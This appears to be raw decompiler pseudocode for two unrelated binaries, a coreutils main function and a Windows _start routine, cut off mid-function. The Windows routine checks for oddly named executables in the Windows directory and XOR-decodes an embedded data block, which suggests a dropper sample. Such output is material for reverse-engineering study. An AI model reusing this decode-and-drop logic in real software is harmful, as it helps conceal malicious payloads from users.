// address: 8048b10 int main(int argc, char *argv[], char *envp[]) { __size32 eax; // r24 int ecx; // r25 __size8 *edi; // r31 __size8 *esi; // r30 eax = *argv; global4 = eax; setlocale(6, ""); bindtextdomain("coreutils", "/usr/share/locale"); textdomain("coreutils"); proc2(); if (argc == 2) { getenv("POSIXLY_CORRECT"); flags = LOGICALFLAGS32(eax); if (eax == 0) { eax = *(argv + 4); edi = 0x804a055; esi = eax; ecx = 7; do { if (ecx == 0) { goto L7; } tmpb = *esi - *edi; flags = SUBFLAGS8(*esi, *edi, tmpb); esi += (DF == 0) ? 1 : -1; edi += (DF == 0) ? 1 : -1; ecx = ecx - 1; } while (tmpb == 0); L7: if (flags) { proc4(0); } do { } while (ecx != 0 && ZF); if ( !flags) { *(__size32*)(esp + 20) = eax; *(__size32*)(esp + 16) = edi; *(__size32*)(esp + 12) = esi; *(__size32*)(esp + 8) = ebx; *(__size32*)(esp + 4) = ecx; *(__size32*)esp = eax; proc3(*(esp - 72), *(esp + 4), *(esp + 8), *(esp + 12), *(esp + 16), *(esp + 20)); } } } *(__size32*)esp = 0; exit(*(esp + 4)); return; }
// address: 0x4010e0 void _start(char param1, unsigned char param2, __size32 param3, __size32 param4, __size32 param5) { __size32 eax; // r24 __size32 eax_1; // r24{18} int ecx; // r25 int edx; // r26 int esp; // r28 __size32 *esp_1; // r28{116} __size32 *esp_2; // r28{147} __size32 *esp_3; // r28{251} __size32 *local10; // esp_3{251} unsigned int local6; // m[esp - 8] eax_1 = GetModuleHandleA(); LoadIconA(0, 0x7f00); GetWindowsDirectoryA(); ecx = (param2); if (ecx != 58) { } lstrcatA(¶m1, "\hh.exe"); eax = CreateFileA(); if (eax != -1) { GetWindowsDirectoryA(); edx = (param2); if (edx != 58) { } lstrcatA(¶m1, "\hXCXXXXCXXAAXCh.exe"); eax = CreateFileA(); /* Warning: also results in esp_1 */ local10 = esp_1; if (eax == -1) { local6 = 0; esp_3 = local10; while (local6 < global67) { *(__size32*)(esp_3 - 4) = 0; esp_2 = GetModuleHandleA(); local10 = esp_2; edx = local6 + 0x402333; eax = *(edx + 8); ecx = local6 + 0x402333; *(int*)(ecx + 8) = eax ^ 22; local6 += 8; esp_3 = local10; } *(__size32*)(esp_3 - 4) = global68; eax = proc1(*(esp_3 - 4)); global73 = eax; *(unsigned int*)(esp_3 - 4) = global67; *(__size32*)(esp_3 - 8) = global73; *(__size32*)(esp_3 - 12) = 0x40233b; proc2(*(esp_3 - 184), *(esp_3 - 180), *(esp_3 - 48), *(esp_3 - 44), *(esp_3 - 32), *(esp_3 - 12), *(esp_3 - 8), *(esp_3 - 4)); global76 = param5; global77 = param4; global78 = param3; ecx = *24; global27 = ecx; global80 = (esp - 4); *(__size32*)(esp_3 - 4) = eax_1; *(__size32*)(esp_3 - 8) = 0x40128f - eax_1; esp = proc3(*(esp_3 - 4)); *(__size32*)(esp + 4) = global73; proc4(*(esp + 4)); /* goto m[0x406720]*/ } } else {